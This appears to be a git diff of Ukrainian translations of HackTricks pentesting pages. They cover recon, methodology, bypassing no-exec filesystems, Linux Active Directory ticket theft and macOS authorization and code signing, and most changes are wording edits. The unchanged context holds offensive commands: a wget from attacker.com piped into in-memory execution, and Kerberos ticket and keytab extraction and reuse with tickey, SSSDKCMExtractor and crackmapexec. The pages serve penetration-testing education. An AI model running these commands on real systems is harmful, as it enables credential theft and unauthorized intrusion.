щоб шукати більш ніж на 80 сайтах паст одночасно. -### Dork'и Google +### Dorks Google -Старі, але золоті dork'и Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks) **для їх виконання**. +Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**. -_Зверніть увагу, що інструменти, які очікують виконати всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._ +_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._ ### **Шукання вразливостей** @@ -620,7 +620,7 @@ _Зверніть увагу, що інструменти, які очікуют Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.** -## Резюме +## Рекапітуляція > Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків). @@ -631,7 +631,7 @@ _Зверніть увагу, що інструменти, які очікуют 3. Знайшли всі **домени**, що належать компаніям 4. Знайшли всі **піддомени** доменів (чи є якісь піддоменні захоплення?) 5. Знайшли всі **IP-адреси** (з і **не з CDN**) в межах сфери. -6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто детальніше розглянути?) +6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто більш детального розгляду?) 7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії. 8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**. 9. **Пентестинг всіх веб-сайтів, які ви знайшли** @@ -649,9 +649,9 @@ _Зверніть увагу, що інструменти, які очікуют * Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 6b8815ec7..494ba5839 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -6,7 +6,7 @@
-Підтримка HackTricks +Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,9 +15,9 @@
{% endhint %} -
+
-Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} @@ -36,7 +36,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i **В залежності** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест). {% hint style="info" %} -Зверніть увагу, що якщо ви проводите зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник. +Зверніть увагу, що якщо ви проводите зовнішній тест, як тільки вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник. {% endhint %} ### **2-** [**Розваги з мережею**](pentesting-network/) **(Внутрішній)** @@ -48,7 +48,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts). -### **4-** [Пошук експлойтів версій сервісів](search-exploits.md) +### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md) Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і є експлойт, який дасть вам оболонку... @@ -56,16 +56,16 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i Якщо немає жодного цікавого експлойту для будь-якого працюючого сервісу, вам слід шукати **поширені неправильні налаштування в кожному працюючому сервісі.** -**У цій книзі ви знайдете посібник для пентестингу найпоширеніших сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).** +**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).** -**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найобширнішою).**\ +**Я хочу зробити особливе згадування про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\ Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md). **Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є). #### 5.1 Автоматичні інструменти -Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я рекомендую вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.** +Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я б рекомендував вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.** #### **5.2 Брутфорсинг сервісів** @@ -83,7 +83,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i ### 8- Всередині -Якщо у вас виникають проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найкорисніших команд** для пентестерів: +Якщо у вас виникають проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найбільш корисних команд** для пентестерів: * [**Linux**](../linux-hardening/useful-linux-commands.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) @@ -104,17 +104,17 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i * [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * Як працює [**NTLM**](../windows-hardening/ntlm/) * Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows -* Декілька трюків про [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +* Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/) **Не забудьте перевірити найкращі інструменти для перерахунку шляхів локального підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Підвищення привілеїв домену** -Тут ви можете знайти [**методологію, що пояснює найпоширеніші дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team. +Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання. ### 11 - POST -#### **11**.1 - Грабіж +#### **11**.1 - Лутання Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте ви **доступ до інших машин** з **привілеями** вашого **користувача**.\ Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). @@ -122,16 +122,16 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i #### 11.2 - Постійність **Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\ -**Ось тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Завершити постійність у Windows та Linux ### 12 - Півотування -З отриманими **обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\ +З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\ У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](tunneling-and-port-forwarding.md).\ Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\ -Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в середовищах Windows. +Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows середовищах. ### БІЛЬШЕ @@ -151,9 +151,9 @@ TODO: Завершити постійність у Windows та Linux * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
+
-Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} @@ -163,7 +163,7 @@ TODO: Завершити постійність у Windows та Linux
-Підтримка HackTricks +Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 760f66f1b..efedad6dc 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-<figure><img src=
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -94,7 +94,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo ### MemExec -[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**. +[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**. Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). @@ -118,7 +118,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo Отже, ви **не зможете** отримати **реверс-шел** або **перерахувати** систему, як зазвичай. {% endhint %} -Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-яких **скриптових мов**. +Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-якої **скриптової мови**. {% hint style="success" %} Використовуючи скриптову мову, ви могли б **перерахувати систему**, використовуючи можливості мови. @@ -130,25 +130,25 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати **попередні техніки виконання в пам'яті, щоб обійти їх**. {% endhint %} -Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE** для отримання реверс-шелів скриптових мов та виконання бінарних файлів з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). +Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
-Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо вас цікавить **кар'єра в хакінгу** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте хакінг AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте хакінг GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримка HackTricks +Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %} diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md index a20417f2a..8054ddb73 100644 --- a/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -1,8 +1,8 @@ # Linux Active Directory {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,21 +15,19 @@ Learn & practice GCP Hacking: {% endhint %} -
- {% embed url="https://websec.nl/" %} -Linux-машина також може бути присутня в середовищі Active Directory. +Лінукс-машина також може бути присутня в середовищі Active Directory. -Linux-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині. +Лінукс-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині. ## Enumeration ### AD enumeration from linux -Якщо у вас є доступ до AD в linux (або bash в Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD. +Якщо у вас є доступ до AD в лінукс (або bash у Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD. -Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з linux**: +Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з лінукс**: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -47,7 +45,7 @@ FreeIPA є відкритим **альтернативою** Microsoft Windows * ### Pass The Ticket -На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині linux-хоста**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache в Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT: +На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині хоста лінукс**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache на Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT: {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) @@ -55,7 +53,7 @@ FreeIPA є відкритим **альтернативою** Microsoft Windows * ### CCACHE ticket reuse from /tmp -Файли CCACHE є бінарними форматами для **зберігання облікових даних Kerberos**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання. +Файли CCACHE є бінарними форматами для **зберігання облікових даних Kerberos**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації, **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання. Перерахуйте поточний квиток, що використовується для аутентифікації, за допомогою `env | grep KRB5CCNAME`. Формат є портативним, і квиток може бути **повторно використаний, встановивши змінну середовища** за допомогою `export KRB5CCNAME=/tmp/ticket.ccache`. Формат імені квитка Kerberos - `krb5cc_%{uid}`, де uid - це UID користувача. ```bash @@ -66,11 +64,11 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` -### CCACHE квитки повторного використання з keyring +### CCACHE повторне використання квитків з keyring -**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнено (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`. +**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнений (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`. -Щоб налаштувати та використовувати цей інструмент, слідуйте наведеним нижче крокам: +Щоб налаштувати та використовувати цей інструмент, слід виконати наведені нижче кроки: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey @@ -79,17 +77,16 @@ make CONF=Release ``` Ця процедура спробує інжектувати в різні сесії, вказуючи на успіх, зберігаючи витягнуті квитки в `/tmp` з іменуванням `__krb_UID.ccache`. - ### Повторне використання квитків CCACHE з SSSD KCM -SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням, ключ доступний для читання лише якщо у вас є **root** права. +SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням ключ доступний лише для читання, якщо у вас є **root** права. Виклик \*\*`SSSDKCMExtractor` \*\* з параметрами --database та --key розпарсить базу даних та **дешифрує секрети**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -**Кеш облікових даних Kerberos blob можна перетворити на використовуваний файл Kerberos CCache**, який можна передати Mimikatz/Rubeus. +**Кеш облікових даних Kerberos можна перетворити на використовуваний файл Kerberos CCache**, який можна передати Mimikatz/Rubeus. ### Повторне використання квитків CCACHE з keytab ```bash @@ -120,17 +117,16 @@ python3 keytabextract.py krb5.keytab crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` ## Посилання + * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -
- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md index 270e52b7c..5b71d0bb0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md @@ -19,7 +19,7 @@ Learn & practice GCP Hacking: 
 
 ## **Athorizarions DB**
 
-База даних, розташована в `/var/db/auth.db`, використовується для зберігання дозволів на виконання чутливих операцій. Ці операції виконуються повністю в **просторі користувача** і зазвичай використовуються **XPC-сервісами**, які повинні перевірити **чи має викликаючий клієнт право** виконувати певну дію, перевіряючи цю базу даних.
+База даних, розташована в `/var/db/auth.db`, використовується для зберігання дозволів на виконання чутливих операцій. Ці операції виконуються повністю в **просторі користувача** і зазвичай використовуються **XPC-сервісами**, які повинні перевірити **чи викликаний клієнт має право** виконувати певну дію, перевіряючи цю базу даних.
 
 Спочатку ця база даних створюється з вмісту `/System/Library/Security/authorization.plist`. Потім деякі сервіси можуть додавати або змінювати цю базу даних, щоб додати до неї інші дозволи.
 
@@ -88,13 +88,13 @@ security authorizationdb read com.apple.tcc.util.admin
 ```
 ## Authd
 
-Це демон, який отримуватиме запити на авторизацію клієнтів для виконання чутливих дій. Він працює як служба XPC, визначена в папці `XPCServices/`, і зазвичай записує свої журнали в `/var/log/authd.log`.
+Це демон, який отримуватиме запити на авторизацію клієнтів для виконання чутливих дій. Він працює як служба XPC, визначена в папці `XPCServices/`, і використовує для запису своїх журналів `/var/log/authd.log`.
 
 Більше того, використовуючи інструмент безпеки, можна протестувати багато API `Security.framework`. Наприклад, `AuthorizationExecuteWithPrivileges`, запустивши: `security execute-with-privileges /bin/ls`
 
 Це створить новий процес і виконає `/usr/libexec/security_authtrampoline /bin/ls` від імені root, що запитає дозволи в спливаючому вікні для виконання ls від імені root:
 
-<figure><img src=
+
{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index 7cd4a4b1e..7b79711c8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -17,9 +17,9 @@ Learn & practice GCP Hacking: 
 
 ## Basic Information
 
-Mach-o бінарники містять команду завантаження, звану **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарника. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарника секцію, звану **Code Signature**, з цією інформацією:
+Mach-o бінарники містять команду завантаження під назвою **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарника. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарника секцію під назвою **Code Signature** з цією інформацією:
 
-<figure><img src=
+
Магічний заголовок підпису коду - **`0xFADE0CC0`**. Потім ви отримуєте інформацію, таку як довжина та кількість блобів суперBlob, які їх містять.\ Цю інформацію можна знайти в [джерельному коді тут](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276): @@ -51,8 +51,8 @@ char data[]; } CS_GenericBlob __attribute__ ((aligned(1))); ``` -Звичайні об'єкти, що містяться, - це Директорія коду, Вимоги та Права, а також Синтаксис криптографічного повідомлення (CMS).\ -Крім того, зверніть увагу, що дані, закодовані в об'єктах, закодовані в **Big Endian.** +Звичайні об'єкти, що містяться, - це Директорія коду, Вимоги та Права, а також Криптографічний синтаксис повідомлень (CMS).\ +Крім того, зверніть увагу, як дані, закодовані в об'єктах, закодовані в **Big Endian.** Крім того, підписи можуть бути відокремлені від бінарних файлів і зберігатися в `/var/db/DetachedSignatures` (використовується iOS). @@ -114,9 +114,9 @@ char end_withLinkage[0]; } CS_CodeDirectory __attribute__ ((aligned(1))); ``` -Note that there are different versions of this struct where old ones might contain less information. +Зверніть увагу, що існують різні версії цієї структури, де старі можуть містити менше інформації. -## Signing Code Pages +## Сторінки підпису коду Хешування повного бінарного файлу було б неефективним і навіть марним, якщо він завантажений в пам'ять лише частково. Тому підпис коду насправді є хешем хешів, де кожна бінарна сторінка хешується окремо.\ Насправді, у попередньому коді **Code Directory** ви можете побачити, що **розмір сторінки вказано** в одному з його полів. Більше того, якщо розмір бінарного файлу не є кратним розміру сторінки, поле **CodeLimit** вказує, де закінчується підпис. @@ -163,7 +163,7 @@ openssl sha256 /tmp/*.page.* MacOS програми не мають всього необхідного для виконання всередині бінарного файлу, але також використовують **зовнішні ресурси** (зазвичай всередині **bundle** програми). Тому в бінарному файлі є кілька слотів, які міститимуть хеші деяких цікавих зовнішніх ресурсів, щоб перевірити, чи не були вони змінені. -Насправді, в структурах Code Directory можна побачити параметр **`nSpecialSlots`**, який вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (від -1 до -6) це: +Насправді, в структурах Code Directory можна побачити параметр під назвою **`nSpecialSlots`**, що вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (з -1 до -6) це: * Хеш `info.plist` (або той, що всередині 